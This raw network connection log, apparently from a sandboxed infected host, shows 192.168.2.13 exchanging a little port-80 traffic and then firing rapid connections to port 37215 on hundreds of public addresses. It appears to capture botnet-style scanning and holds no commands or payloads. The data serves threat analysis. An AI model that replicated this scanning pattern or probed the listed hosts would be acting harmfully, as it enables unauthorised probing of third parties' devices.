Jan 30, 2025 10:43:03.268229008 CET	80	48936	1.210.104.110	192.168.2.13
Jan 30, 2025 10:43:03.268888950 CET	80	33408	88.50.245.10	192.168.2.13
Jan 30, 2025 10:43:03.269675016 CET	80	56156	147.98.46.107	192.168.2.13
Jan 30, 2025 10:43:03.270984888 CET	80	48996	110.116.2.40	192.168.2.13
Jan 30, 2025 10:43:03.307760954 CET	80	53600	76.251.40.49	192.168.2.13
Jan 30, 2025 10:43:03.307774067 CET	80	55112	42.239.138.4	192.168.2.13
Jan 30, 2025 10:43:03.315758944 CET	80	48996	110.116.2.40	192.168.2.13
Jan 30, 2025 10:43:03.315769911 CET	80	56156	147.98.46.107	192.168.2.13
Jan 30, 2025 10:43:03.315778971 CET	80	33408	88.50.245.10	192.168.2.13
Jan 30, 2025 10:43:03.315788984 CET	80	48936	1.210.104.110	192.168.2.13
Jan 30, 2025 10:43:03.395237923 CET	58172	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:03.395241976 CET	54146	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:03.400013924 CET	37215	58172	156.30.122.213	192.168.2.13
Jan 30, 2025 10:43:03.400235891 CET	58172	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:03.400320053 CET	37215	54146	156.87.179.217	192.168.2.13
Jan 30, 2025 10:43:03.400427103 CET	54146	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:03.400432110 CET	58172	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:03.400527000 CET	38811	37215	192.168.2.13	197.185.189.252
Jan 30, 2025 10:43:03.400554895 CET	38811	37215	192.168.2.13	197.36.153.109
Jan 30, 2025 10:43:03.400594950 CET	38811	37215	192.168.2.13	197.172.212.135
Jan 30, 2025 10:43:03.400612116 CET	38811	37215	192.168.2.13	41.1.188.159
Jan 30, 2025 10:43:03.400621891 CET	38811	37215	192.168.2.13	41.74.151.60
Jan 30, 2025 10:43:03.400639057 CET	38811	37215	192.168.2.13	41.64.50.6
Jan 30, 2025 10:43:03.400655031 CET	38811	37215	192.168.2.13	197.70.45.166
Jan 30, 2025 10:43:03.400665998 CET	38811	37215	192.168.2.13	156.46.149.170
Jan 30, 2025 10:43:03.400691032 CET	38811	37215	192.168.2.13	156.133.84.57
Jan 30, 2025 10:43:03.400702953 CET	38811	37215	192.168.2.13	197.241.185.177
Jan 30, 2025 10:43:03.400717020 CET	38811	37215	192.168.2.13	156.236.1.250
Jan 30, 2025 10:43:03.400731087 CET	38811	37215	192.168.2.13	41.54.57.228
Jan 30, 2025 10:43:03.400748968 CET	38811	37215	192.168.2.13	156.96.97.91
Jan 30, 2025 10:43:03.400760889 CET	38811	37215	192.168.2.13	156.157.179.90
Jan 30, 2025 10:43:03.400760889 CET	38811	37215	192.168.2.13	156.214.247.29
Jan 30, 2025 10:43:03.400782108 CET	38811	37215	192.168.2.13	156.247.85.22
Jan 30, 2025 10:43:03.400783062 CET	38811	37215	192.168.2.13	197.99.250.234
Jan 30, 2025 10:43:03.400801897 CET	38811	37215	192.168.2.13	41.223.43.233
Jan 30, 2025 10:43:03.400804996 CET	38811	37215	192.168.2.13	41.241.207.68
Jan 30, 2025 10:43:03.400808096 CET	38811	37215	192.168.2.13	197.234.69.80
Jan 30, 2025 10:43:03.400825977 CET	38811	37215	192.168.2.13	41.236.13.131
Jan 30, 2025 10:43:03.400837898 CET	38811	37215	192.168.2.13	197.246.191.62
Jan 30, 2025 10:43:03.400851965 CET	38811	37215	192.168.2.13	156.70.174.234
Jan 30, 2025 10:43:03.400856972 CET	38811	37215	192.168.2.13	197.211.31.44
Jan 30, 2025 10:43:03.400868893 CET	38811	37215	192.168.2.13	156.209.195.155
Jan 30, 2025 10:43:03.400881052 CET	38811	37215	192.168.2.13	156.184.176.58
Jan 30, 2025 10:43:03.400886059 CET	38811	37215	192.168.2.13	197.120.89.190
Jan 30, 2025 10:43:03.400897026 CET	38811	37215	192.168.2.13	197.132.3.199
Jan 30, 2025 10:43:03.400908947 CET	38811	37215	192.168.2.13	156.217.9.135
Jan 30, 2025 10:43:03.400918007 CET	38811	37215	192.168.2.13	41.217.197.36
Jan 30, 2025 10:43:03.400929928 CET	38811	37215	192.168.2.13	41.185.140.20
Jan 30, 2025 10:43:03.400933027 CET	38811	37215	192.168.2.13	197.233.66.243
Jan 30, 2025 10:43:03.400943041 CET	38811	37215	192.168.2.13	197.5.198.174
Jan 30, 2025 10:43:03.400959969 CET	38811	37215	192.168.2.13	156.126.115.83
Jan 30, 2025 10:43:03.400962114 CET	38811	37215	192.168.2.13	156.127.60.67
Jan 30, 2025 10:43:03.400979042 CET	38811	37215	192.168.2.13	41.12.176.152
Jan 30, 2025 10:43:03.400989056 CET	38811	37215	192.168.2.13	197.232.68.36
Jan 30, 2025 10:43:03.400995016 CET	38811	37215	192.168.2.13	41.140.37.220
Jan 30, 2025 10:43:03.401011944 CET	38811	37215	192.168.2.13	156.227.203.82
Jan 30, 2025 10:43:03.401024103 CET	38811	37215	192.168.2.13	41.126.121.36
Jan 30, 2025 10:43:03.401040077 CET	38811	37215	192.168.2.13	197.19.180.44
Jan 30, 2025 10:43:03.401041031 CET	38811	37215	192.168.2.13	156.78.135.111
Jan 30, 2025 10:43:03.401043892 CET	38811	37215	192.168.2.13	197.91.131.180
Jan 30, 2025 10:43:03.401061058 CET	38811	37215	192.168.2.13	197.233.134.101
Jan 30, 2025 10:43:03.401073933 CET	38811	37215	192.168.2.13	197.32.235.197
Jan 30, 2025 10:43:03.401087046 CET	38811	37215	192.168.2.13	197.166.243.182
Jan 30, 2025 10:43:03.401092052 CET	38811	37215	192.168.2.13	197.242.105.166
Jan 30, 2025 10:43:03.401094913 CET	38811	37215	192.168.2.13	156.101.125.239
Jan 30, 2025 10:43:03.401103973 CET	38811	37215	192.168.2.13	197.128.30.103
Jan 30, 2025 10:43:03.401120901 CET	38811	37215	192.168.2.13	156.107.21.200
Jan 30, 2025 10:43:03.401134014 CET	38811	37215	192.168.2.13	41.161.233.97
Jan 30, 2025 10:43:03.401135921 CET	38811	37215	192.168.2.13	197.252.30.241
Jan 30, 2025 10:43:03.401148081 CET	38811	37215	192.168.2.13	41.214.209.209
Jan 30, 2025 10:43:03.401175022 CET	38811	37215	192.168.2.13	41.142.174.189
Jan 30, 2025 10:43:03.401177883 CET	38811	37215	192.168.2.13	156.15.220.151
Jan 30, 2025 10:43:03.401180983 CET	38811	37215	192.168.2.13	156.0.202.221
Jan 30, 2025 10:43:03.401199102 CET	38811	37215	192.168.2.13	41.240.92.59
Jan 30, 2025 10:43:03.401199102 CET	38811	37215	192.168.2.13	197.208.12.180
Jan 30, 2025 10:43:03.401211977 CET	38811	37215	192.168.2.13	156.75.81.156
Jan 30, 2025 10:43:03.401215076 CET	38811	37215	192.168.2.13	41.30.95.106
Jan 30, 2025 10:43:03.401222944 CET	38811	37215	192.168.2.13	41.57.161.186
Jan 30, 2025 10:43:03.401240110 CET	38811	37215	192.168.2.13	197.32.143.245
Jan 30, 2025 10:43:03.401242018 CET	38811	37215	192.168.2.13	41.178.41.31
Jan 30, 2025 10:43:03.401252031 CET	38811	37215	192.168.2.13	197.210.168.0
Jan 30, 2025 10:43:03.401257992 CET	38811	37215	192.168.2.13	41.2.210.94
Jan 30, 2025 10:43:03.401267052 CET	38811	37215	192.168.2.13	197.162.141.228
Jan 30, 2025 10:43:03.401267052 CET	38811	37215	192.168.2.13	197.66.213.205
Jan 30, 2025 10:43:03.401285887 CET	38811	37215	192.168.2.13	156.102.141.31
Jan 30, 2025 10:43:03.401287079 CET	38811	37215	192.168.2.13	156.93.42.146
Jan 30, 2025 10:43:03.401299000 CET	38811	37215	192.168.2.13	197.144.125.166
Jan 30, 2025 10:43:03.401299953 CET	38811	37215	192.168.2.13	41.207.35.240
Jan 30, 2025 10:43:03.401315928 CET	38811	37215	192.168.2.13	156.109.25.231
Jan 30, 2025 10:43:03.401324034 CET	38811	37215	192.168.2.13	156.222.133.30
Jan 30, 2025 10:43:03.401336908 CET	38811	37215	192.168.2.13	197.195.130.207
Jan 30, 2025 10:43:03.401340961 CET	38811	37215	192.168.2.13	197.220.163.189
Jan 30, 2025 10:43:03.401352882 CET	38811	37215	192.168.2.13	197.0.58.75
Jan 30, 2025 10:43:03.401352882 CET	38811	37215	192.168.2.13	156.2.49.127
Jan 30, 2025 10:43:03.401370049 CET	38811	37215	192.168.2.13	197.38.109.167
Jan 30, 2025 10:43:03.401371956 CET	38811	37215	192.168.2.13	156.69.72.31
Jan 30, 2025 10:43:03.401386023 CET	38811	37215	192.168.2.13	197.221.23.166
Jan 30, 2025 10:43:03.401392937 CET	38811	37215	192.168.2.13	41.108.119.194
Jan 30, 2025 10:43:03.401407957 CET	38811	37215	192.168.2.13	41.178.64.164
Jan 30, 2025 10:43:03.401420116 CET	38811	37215	192.168.2.13	41.169.207.216
Jan 30, 2025 10:43:03.401421070 CET	38811	37215	192.168.2.13	156.146.227.163
Jan 30, 2025 10:43:03.401436090 CET	38811	37215	192.168.2.13	41.175.204.145
Jan 30, 2025 10:43:03.401448965 CET	38811	37215	192.168.2.13	197.201.251.129
Jan 30, 2025 10:43:03.401457071 CET	38811	37215	192.168.2.13	41.100.55.17
Jan 30, 2025 10:43:03.401463985 CET	38811	37215	192.168.2.13	156.127.97.155
Jan 30, 2025 10:43:03.401475906 CET	38811	37215	192.168.2.13	156.108.215.30
Jan 30, 2025 10:43:03.401485920 CET	38811	37215	192.168.2.13	41.171.63.186
Jan 30, 2025 10:43:03.401498079 CET	38811	37215	192.168.2.13	156.135.22.103
Jan 30, 2025 10:43:03.401498079 CET	38811	37215	192.168.2.13	41.246.92.129
Jan 30, 2025 10:43:03.401516914 CET	38811	37215	192.168.2.13	197.94.72.137
Jan 30, 2025 10:43:03.401527882 CET	38811	37215	192.168.2.13	156.110.125.70
Jan 30, 2025 10:43:03.401540995 CET	38811	37215	192.168.2.13	41.223.15.231
Jan 30, 2025 10:43:03.401545048 CET	38811	37215	192.168.2.13	197.220.132.226
Jan 30, 2025 10:43:03.401557922 CET	38811	37215	192.168.2.13	197.220.189.169
Jan 30, 2025 10:43:03.401567936 CET	38811	37215	192.168.2.13	156.55.103.47
Jan 30, 2025 10:43:03.401576042 CET	38811	37215	192.168.2.13	41.62.151.197
Jan 30, 2025 10:43:03.401592016 CET	38811	37215	192.168.2.13	41.30.91.54
Jan 30, 2025 10:43:03.401601076 CET	38811	37215	192.168.2.13	156.69.30.140
Jan 30, 2025 10:43:03.401609898 CET	38811	37215	192.168.2.13	156.36.175.206
Jan 30, 2025 10:43:03.401623964 CET	38811	37215	192.168.2.13	156.188.235.126
Jan 30, 2025 10:43:03.401628017 CET	38811	37215	192.168.2.13	156.77.230.190
Jan 30, 2025 10:43:03.401635885 CET	38811	37215	192.168.2.13	197.87.226.205
Jan 30, 2025 10:43:03.401648998 CET	38811	37215	192.168.2.13	41.233.239.139
Jan 30, 2025 10:43:03.401653051 CET	38811	37215	192.168.2.13	41.147.246.131
Jan 30, 2025 10:43:03.401669025 CET	38811	37215	192.168.2.13	41.224.53.135
Jan 30, 2025 10:43:03.401679993 CET	38811	37215	192.168.2.13	197.48.94.166
Jan 30, 2025 10:43:03.401690960 CET	38811	37215	192.168.2.13	41.102.15.53
Jan 30, 2025 10:43:03.401690960 CET	38811	37215	192.168.2.13	197.239.0.162
Jan 30, 2025 10:43:03.401701927 CET	38811	37215	192.168.2.13	156.255.186.182
Jan 30, 2025 10:43:03.401709080 CET	38811	37215	192.168.2.13	41.7.51.124
Jan 30, 2025 10:43:03.401726007 CET	38811	37215	192.168.2.13	41.129.212.84
Jan 30, 2025 10:43:03.401729107 CET	38811	37215	192.168.2.13	156.1.38.47
Jan 30, 2025 10:43:03.401740074 CET	38811	37215	192.168.2.13	41.71.227.78
Jan 30, 2025 10:43:03.401751995 CET	38811	37215	192.168.2.13	156.12.215.86
Jan 30, 2025 10:43:03.401752949 CET	38811	37215	192.168.2.13	156.209.187.245
Jan 30, 2025 10:43:03.401771069 CET	38811	37215	192.168.2.13	156.152.184.18
Jan 30, 2025 10:43:03.401777983 CET	38811	37215	192.168.2.13	197.147.245.34
Jan 30, 2025 10:43:03.401784897 CET	38811	37215	192.168.2.13	197.90.197.36
Jan 30, 2025 10:43:03.401796103 CET	38811	37215	192.168.2.13	197.128.5.73
Jan 30, 2025 10:43:03.401801109 CET	38811	37215	192.168.2.13	197.67.215.232
Jan 30, 2025 10:43:03.401810884 CET	38811	37215	192.168.2.13	41.28.39.29
Jan 30, 2025 10:43:03.401812077 CET	38811	37215	192.168.2.13	197.210.71.81
Jan 30, 2025 10:43:03.401824951 CET	38811	37215	192.168.2.13	197.18.160.130
Jan 30, 2025 10:43:03.401842117 CET	38811	37215	192.168.2.13	156.136.98.12
Jan 30, 2025 10:43:03.401842117 CET	38811	37215	192.168.2.13	156.101.204.54
Jan 30, 2025 10:43:03.401850939 CET	38811	37215	192.168.2.13	41.207.86.145
Jan 30, 2025 10:43:03.401858091 CET	38811	37215	192.168.2.13	156.169.178.107
Jan 30, 2025 10:43:03.401869059 CET	38811	37215	192.168.2.13	197.61.203.171
Jan 30, 2025 10:43:03.401880980 CET	38811	37215	192.168.2.13	41.188.128.67
Jan 30, 2025 10:43:03.401889086 CET	38811	37215	192.168.2.13	197.148.87.54
Jan 30, 2025 10:43:03.401900053 CET	38811	37215	192.168.2.13	41.3.111.198
Jan 30, 2025 10:43:03.401907921 CET	38811	37215	192.168.2.13	156.138.113.161
Jan 30, 2025 10:43:03.401923895 CET	38811	37215	192.168.2.13	41.135.194.226
Jan 30, 2025 10:43:03.401927948 CET	38811	37215	192.168.2.13	41.33.233.168
Jan 30, 2025 10:43:03.401940107 CET	38811	37215	192.168.2.13	41.22.55.254
Jan 30, 2025 10:43:03.401947975 CET	38811	37215	192.168.2.13	41.74.34.135
Jan 30, 2025 10:43:03.401954889 CET	38811	37215	192.168.2.13	156.60.43.210
Jan 30, 2025 10:43:03.401971102 CET	38811	37215	192.168.2.13	41.57.150.253
Jan 30, 2025 10:43:03.401974916 CET	38811	37215	192.168.2.13	197.14.129.158
Jan 30, 2025 10:43:03.401984930 CET	38811	37215	192.168.2.13	197.118.64.184
Jan 30, 2025 10:43:03.401992083 CET	38811	37215	192.168.2.13	197.185.190.68
Jan 30, 2025 10:43:03.402004957 CET	38811	37215	192.168.2.13	197.145.166.220
Jan 30, 2025 10:43:03.402009964 CET	38811	37215	192.168.2.13	41.52.21.76
Jan 30, 2025 10:43:03.402009964 CET	38811	37215	192.168.2.13	197.48.22.57
Jan 30, 2025 10:43:03.402025938 CET	38811	37215	192.168.2.13	41.133.240.229
Jan 30, 2025 10:43:03.402034998 CET	38811	37215	192.168.2.13	41.148.17.114
Jan 30, 2025 10:43:03.402048111 CET	38811	37215	192.168.2.13	197.175.47.179
Jan 30, 2025 10:43:03.402061939 CET	38811	37215	192.168.2.13	197.13.56.163
Jan 30, 2025 10:43:03.402069092 CET	38811	37215	192.168.2.13	156.99.94.179
Jan 30, 2025 10:43:03.402070045 CET	38811	37215	192.168.2.13	156.152.39.19
Jan 30, 2025 10:43:03.402072906 CET	38811	37215	192.168.2.13	41.202.30.188
Jan 30, 2025 10:43:03.402080059 CET	38811	37215	192.168.2.13	197.152.172.76
Jan 30, 2025 10:43:03.402089119 CET	38811	37215	192.168.2.13	41.95.231.57
Jan 30, 2025 10:43:03.402101994 CET	38811	37215	192.168.2.13	197.55.146.39
Jan 30, 2025 10:43:03.402110100 CET	38811	37215	192.168.2.13	197.37.192.130
Jan 30, 2025 10:43:03.402113914 CET	38811	37215	192.168.2.13	197.247.216.217
Jan 30, 2025 10:43:03.402122974 CET	38811	37215	192.168.2.13	197.252.121.252
Jan 30, 2025 10:43:03.402128935 CET	38811	37215	192.168.2.13	41.83.46.165
Jan 30, 2025 10:43:03.402142048 CET	38811	37215	192.168.2.13	156.76.103.91
Jan 30, 2025 10:43:03.402142048 CET	38811	37215	192.168.2.13	197.225.30.175
Jan 30, 2025 10:43:03.402162075 CET	38811	37215	192.168.2.13	156.92.147.223
Jan 30, 2025 10:43:03.402163029 CET	38811	37215	192.168.2.13	41.64.120.50
Jan 30, 2025 10:43:03.402184963 CET	38811	37215	192.168.2.13	197.185.147.177
Jan 30, 2025 10:43:03.402185917 CET	38811	37215	192.168.2.13	197.88.42.167
Jan 30, 2025 10:43:03.402184963 CET	38811	37215	192.168.2.13	41.145.175.127
Jan 30, 2025 10:43:03.402203083 CET	38811	37215	192.168.2.13	156.9.191.234
Jan 30, 2025 10:43:03.402206898 CET	38811	37215	192.168.2.13	156.35.197.238
Jan 30, 2025 10:43:03.402208090 CET	38811	37215	192.168.2.13	156.249.227.252
Jan 30, 2025 10:43:03.402226925 CET	38811	37215	192.168.2.13	156.203.14.215
Jan 30, 2025 10:43:03.402234077 CET	38811	37215	192.168.2.13	41.242.101.44
Jan 30, 2025 10:43:03.402242899 CET	38811	37215	192.168.2.13	197.83.45.161
Jan 30, 2025 10:43:03.402255058 CET	38811	37215	192.168.2.13	156.198.67.171
Jan 30, 2025 10:43:03.402260065 CET	38811	37215	192.168.2.13	197.195.7.173
Jan 30, 2025 10:43:03.402276039 CET	38811	37215	192.168.2.13	197.159.149.17
Jan 30, 2025 10:43:03.402276039 CET	38811	37215	192.168.2.13	197.251.153.21
Jan 30, 2025 10:43:03.402283907 CET	38811	37215	192.168.2.13	197.127.3.98
Jan 30, 2025 10:43:03.402301073 CET	38811	37215	192.168.2.13	41.130.150.168
Jan 30, 2025 10:43:03.402301073 CET	38811	37215	192.168.2.13	197.56.160.4
Jan 30, 2025 10:43:03.402313948 CET	38811	37215	192.168.2.13	41.115.217.17
Jan 30, 2025 10:43:03.402313948 CET	38811	37215	192.168.2.13	156.192.104.77
Jan 30, 2025 10:43:03.402332067 CET	38811	37215	192.168.2.13	41.19.215.182
Jan 30, 2025 10:43:03.402334929 CET	38811	37215	192.168.2.13	41.65.212.186
Jan 30, 2025 10:43:03.402343988 CET	38811	37215	192.168.2.13	197.192.51.178
Jan 30, 2025 10:43:03.402354956 CET	38811	37215	192.168.2.13	41.68.49.187
Jan 30, 2025 10:43:03.402364016 CET	38811	37215	192.168.2.13	197.206.40.142
Jan 30, 2025 10:43:03.402364016 CET	38811	37215	192.168.2.13	156.195.233.102
Jan 30, 2025 10:43:03.402371883 CET	38811	37215	192.168.2.13	156.234.253.79
Jan 30, 2025 10:43:03.402385950 CET	38811	37215	192.168.2.13	156.192.57.38
Jan 30, 2025 10:43:03.402385950 CET	38811	37215	192.168.2.13	156.31.94.90
Jan 30, 2025 10:43:03.402396917 CET	38811	37215	192.168.2.13	197.17.124.104
Jan 30, 2025 10:43:03.402401924 CET	38811	37215	192.168.2.13	197.166.62.137
Jan 30, 2025 10:43:03.402405977 CET	38811	37215	192.168.2.13	41.94.82.106
Jan 30, 2025 10:43:03.402417898 CET	38811	37215	192.168.2.13	156.181.157.96
Jan 30, 2025 10:43:03.402420044 CET	38811	37215	192.168.2.13	41.72.103.48
Jan 30, 2025 10:43:03.402425051 CET	38811	37215	192.168.2.13	197.255.191.96
Jan 30, 2025 10:43:03.402431011 CET	38811	37215	192.168.2.13	41.104.233.10
Jan 30, 2025 10:43:03.402445078 CET	38811	37215	192.168.2.13	41.24.159.166
Jan 30, 2025 10:43:03.402455091 CET	38811	37215	192.168.2.13	41.251.187.32
Jan 30, 2025 10:43:03.402458906 CET	38811	37215	192.168.2.13	41.239.135.79
Jan 30, 2025 10:43:03.402472019 CET	38811	37215	192.168.2.13	41.156.194.123
Jan 30, 2025 10:43:03.402473927 CET	38811	37215	192.168.2.13	41.191.190.37
Jan 30, 2025 10:43:03.402482986 CET	38811	37215	192.168.2.13	41.119.250.47
Jan 30, 2025 10:43:03.402496099 CET	38811	37215	192.168.2.13	41.65.47.5
Jan 30, 2025 10:43:03.402499914 CET	38811	37215	192.168.2.13	197.70.20.0
Jan 30, 2025 10:43:03.402515888 CET	38811	37215	192.168.2.13	41.165.89.97
Jan 30, 2025 10:43:03.402517080 CET	38811	37215	192.168.2.13	156.73.189.70
Jan 30, 2025 10:43:03.402523041 CET	38811	37215	192.168.2.13	41.84.246.244
Jan 30, 2025 10:43:03.402539968 CET	38811	37215	192.168.2.13	41.161.176.82
Jan 30, 2025 10:43:03.402550936 CET	38811	37215	192.168.2.13	156.57.178.27
Jan 30, 2025 10:43:03.402555943 CET	38811	37215	192.168.2.13	41.40.182.87
Jan 30, 2025 10:43:03.402570009 CET	38811	37215	192.168.2.13	156.175.178.205
Jan 30, 2025 10:43:03.402581930 CET	38811	37215	192.168.2.13	41.91.26.104
Jan 30, 2025 10:43:03.402581930 CET	38811	37215	192.168.2.13	41.211.123.146
Jan 30, 2025 10:43:03.402601004 CET	38811	37215	192.168.2.13	197.39.55.95
Jan 30, 2025 10:43:03.402602911 CET	38811	37215	192.168.2.13	197.106.225.190
Jan 30, 2025 10:43:03.402615070 CET	38811	37215	192.168.2.13	197.29.72.230
Jan 30, 2025 10:43:03.402618885 CET	38811	37215	192.168.2.13	41.55.166.204
Jan 30, 2025 10:43:03.402630091 CET	38811	37215	192.168.2.13	156.47.161.98
Jan 30, 2025 10:43:03.402631998 CET	38811	37215	192.168.2.13	197.112.223.49
Jan 30, 2025 10:43:03.402647972 CET	38811	37215	192.168.2.13	197.182.152.211
Jan 30, 2025 10:43:03.402652025 CET	38811	37215	192.168.2.13	41.84.55.107
Jan 30, 2025 10:43:03.402654886 CET	38811	37215	192.168.2.13	197.233.225.37
Jan 30, 2025 10:43:03.402671099 CET	38811	37215	192.168.2.13	156.212.148.226
Jan 30, 2025 10:43:03.402682066 CET	38811	37215	192.168.2.13	197.70.213.225
Jan 30, 2025 10:43:03.402687073 CET	38811	37215	192.168.2.13	197.172.221.34
Jan 30, 2025 10:43:03.402702093 CET	38811	37215	192.168.2.13	41.188.226.3
Jan 30, 2025 10:43:03.402710915 CET	38811	37215	192.168.2.13	156.81.167.222
Jan 30, 2025 10:43:03.402726889 CET	38811	37215	192.168.2.13	197.153.233.214
Jan 30, 2025 10:43:03.402729988 CET	38811	37215	192.168.2.13	197.248.50.89
Jan 30, 2025 10:43:03.402753115 CET	38811	37215	192.168.2.13	156.139.206.145
Jan 30, 2025 10:43:03.402753115 CET	38811	37215	192.168.2.13	197.48.181.6
Jan 30, 2025 10:43:03.402754068 CET	38811	37215	192.168.2.13	197.40.19.198
Jan 30, 2025 10:43:03.402754068 CET	38811	37215	192.168.2.13	156.87.102.12
Jan 30, 2025 10:43:03.402756929 CET	38811	37215	192.168.2.13	197.25.87.122
Jan 30, 2025 10:43:03.402764082 CET	38811	37215	192.168.2.13	41.168.50.117
Jan 30, 2025 10:43:03.402777910 CET	38811	37215	192.168.2.13	156.206.215.181
Jan 30, 2025 10:43:03.402786970 CET	38811	37215	192.168.2.13	156.229.178.171
Jan 30, 2025 10:43:03.402795076 CET	38811	37215	192.168.2.13	41.3.198.181
Jan 30, 2025 10:43:03.402806997 CET	38811	37215	192.168.2.13	156.131.124.245
Jan 30, 2025 10:43:03.402817011 CET	38811	37215	192.168.2.13	197.160.200.153
Jan 30, 2025 10:43:03.402823925 CET	38811	37215	192.168.2.13	41.176.23.131
Jan 30, 2025 10:43:03.402836084 CET	38811	37215	192.168.2.13	197.73.163.200
Jan 30, 2025 10:43:03.402848959 CET	38811	37215	192.168.2.13	156.17.198.104
Jan 30, 2025 10:43:03.402859926 CET	38811	37215	192.168.2.13	41.147.124.31
Jan 30, 2025 10:43:03.402868986 CET	38811	37215	192.168.2.13	41.185.201.64
Jan 30, 2025 10:43:03.402880907 CET	38811	37215	192.168.2.13	156.69.37.176
Jan 30, 2025 10:43:03.402885914 CET	38811	37215	192.168.2.13	156.217.181.87
Jan 30, 2025 10:43:03.402900934 CET	38811	37215	192.168.2.13	156.228.92.239
Jan 30, 2025 10:43:03.402913094 CET	38811	37215	192.168.2.13	197.5.199.209
Jan 30, 2025 10:43:03.402919054 CET	38811	37215	192.168.2.13	41.87.18.11
Jan 30, 2025 10:43:03.402920961 CET	38811	37215	192.168.2.13	197.82.42.141
Jan 30, 2025 10:43:03.402940989 CET	38811	37215	192.168.2.13	156.101.202.246
Jan 30, 2025 10:43:03.402940989 CET	38811	37215	192.168.2.13	156.59.128.72
Jan 30, 2025 10:43:03.402952909 CET	38811	37215	192.168.2.13	41.161.68.218
Jan 30, 2025 10:43:03.402952909 CET	38811	37215	192.168.2.13	156.94.186.4
Jan 30, 2025 10:43:03.402975082 CET	38811	37215	192.168.2.13	156.38.99.219
Jan 30, 2025 10:43:03.402983904 CET	38811	37215	192.168.2.13	197.131.167.112
Jan 30, 2025 10:43:03.402987957 CET	38811	37215	192.168.2.13	197.126.61.50
Jan 30, 2025 10:43:03.402996063 CET	38811	37215	192.168.2.13	197.45.147.8
Jan 30, 2025 10:43:03.403011084 CET	38811	37215	192.168.2.13	41.48.18.117
Jan 30, 2025 10:43:03.403023958 CET	38811	37215	192.168.2.13	197.56.20.191
Jan 30, 2025 10:43:03.403033018 CET	38811	37215	192.168.2.13	156.58.118.16
Jan 30, 2025 10:43:03.403033972 CET	38811	37215	192.168.2.13	197.176.60.204
Jan 30, 2025 10:43:03.403052092 CET	38811	37215	192.168.2.13	41.216.7.219
Jan 30, 2025 10:43:03.403063059 CET	38811	37215	192.168.2.13	156.232.34.55
Jan 30, 2025 10:43:03.403063059 CET	38811	37215	192.168.2.13	156.214.204.0
Jan 30, 2025 10:43:03.403064966 CET	38811	37215	192.168.2.13	197.9.227.155
Jan 30, 2025 10:43:03.403081894 CET	38811	37215	192.168.2.13	156.93.91.194
Jan 30, 2025 10:43:03.403085947 CET	38811	37215	192.168.2.13	197.219.229.63
Jan 30, 2025 10:43:03.403100967 CET	38811	37215	192.168.2.13	197.210.156.235
Jan 30, 2025 10:43:03.403106928 CET	38811	37215	192.168.2.13	41.6.145.55
Jan 30, 2025 10:43:03.403111935 CET	38811	37215	192.168.2.13	156.203.58.231
Jan 30, 2025 10:43:03.403172970 CET	38811	37215	192.168.2.13	41.228.232.31
Jan 30, 2025 10:43:03.403172970 CET	38811	37215	192.168.2.13	156.1.78.94
Jan 30, 2025 10:43:03.403172970 CET	38811	37215	192.168.2.13	156.190.37.253
Jan 30, 2025 10:43:03.403198004 CET	38811	37215	192.168.2.13	41.30.2.242
Jan 30, 2025 10:43:03.403206110 CET	38811	37215	192.168.2.13	197.227.24.251
Jan 30, 2025 10:43:03.403209925 CET	38811	37215	192.168.2.13	156.140.203.136
Jan 30, 2025 10:43:03.403223038 CET	38811	37215	192.168.2.13	41.80.3.66
Jan 30, 2025 10:43:03.403229952 CET	38811	37215	192.168.2.13	41.156.124.46
Jan 30, 2025 10:43:03.403244019 CET	38811	37215	192.168.2.13	197.47.58.199
Jan 30, 2025 10:43:03.403248072 CET	38811	37215	192.168.2.13	197.205.46.245
Jan 30, 2025 10:43:03.403259993 CET	38811	37215	192.168.2.13	197.181.118.103
Jan 30, 2025 10:43:03.403268099 CET	38811	37215	192.168.2.13	197.110.33.43
Jan 30, 2025 10:43:03.403275967 CET	38811	37215	192.168.2.13	156.0.24.139
Jan 30, 2025 10:43:03.403281927 CET	38811	37215	192.168.2.13	197.177.170.201
Jan 30, 2025 10:43:03.403289080 CET	38811	37215	192.168.2.13	41.238.245.42
Jan 30, 2025 10:43:03.403301954 CET	38811	37215	192.168.2.13	41.27.83.131
Jan 30, 2025 10:43:03.403306961 CET	38811	37215	192.168.2.13	41.104.167.107
Jan 30, 2025 10:43:03.403310061 CET	38811	37215	192.168.2.13	41.156.243.53
Jan 30, 2025 10:43:03.403326035 CET	38811	37215	192.168.2.13	41.113.91.152
Jan 30, 2025 10:43:03.403327942 CET	38811	37215	192.168.2.13	41.37.27.66
Jan 30, 2025 10:43:03.403331041 CET	38811	37215	192.168.2.13	156.21.153.187
Jan 30, 2025 10:43:03.403348923 CET	38811	37215	192.168.2.13	197.86.3.61
Jan 30, 2025 10:43:03.403358936 CET	38811	37215	192.168.2.13	197.31.126.226
Jan 30, 2025 10:43:03.403362989 CET	38811	37215	192.168.2.13	156.41.154.45
Jan 30, 2025 10:43:03.403378010 CET	38811	37215	192.168.2.13	156.69.139.120
Jan 30, 2025 10:43:03.403393030 CET	38811	37215	192.168.2.13	197.231.191.91
Jan 30, 2025 10:43:03.403393984 CET	38811	37215	192.168.2.13	41.188.191.230
Jan 30, 2025 10:43:03.403405905 CET	38811	37215	192.168.2.13	41.60.89.212
Jan 30, 2025 10:43:03.403415918 CET	38811	37215	192.168.2.13	156.41.62.206
Jan 30, 2025 10:43:03.403428078 CET	38811	37215	192.168.2.13	197.162.212.233
Jan 30, 2025 10:43:03.403450012 CET	38811	37215	192.168.2.13	197.217.147.62
Jan 30, 2025 10:43:03.403450012 CET	38811	37215	192.168.2.13	41.254.37.92
Jan 30, 2025 10:43:03.403450966 CET	38811	37215	192.168.2.13	197.171.165.76
Jan 30, 2025 10:43:03.403451920 CET	38811	37215	192.168.2.13	197.164.177.50
Jan 30, 2025 10:43:03.403460026 CET	38811	37215	192.168.2.13	41.221.4.183
Jan 30, 2025 10:43:03.403476954 CET	38811	37215	192.168.2.13	197.167.62.235
Jan 30, 2025 10:43:03.403481960 CET	38811	37215	192.168.2.13	156.241.248.150
Jan 30, 2025 10:43:03.403491974 CET	38811	37215	192.168.2.13	41.43.225.64
Jan 30, 2025 10:43:03.403492928 CET	38811	37215	192.168.2.13	156.132.173.63
Jan 30, 2025 10:43:03.403502941 CET	38811	37215	192.168.2.13	197.183.189.228
Jan 30, 2025 10:43:03.403510094 CET	38811	37215	192.168.2.13	197.167.46.111
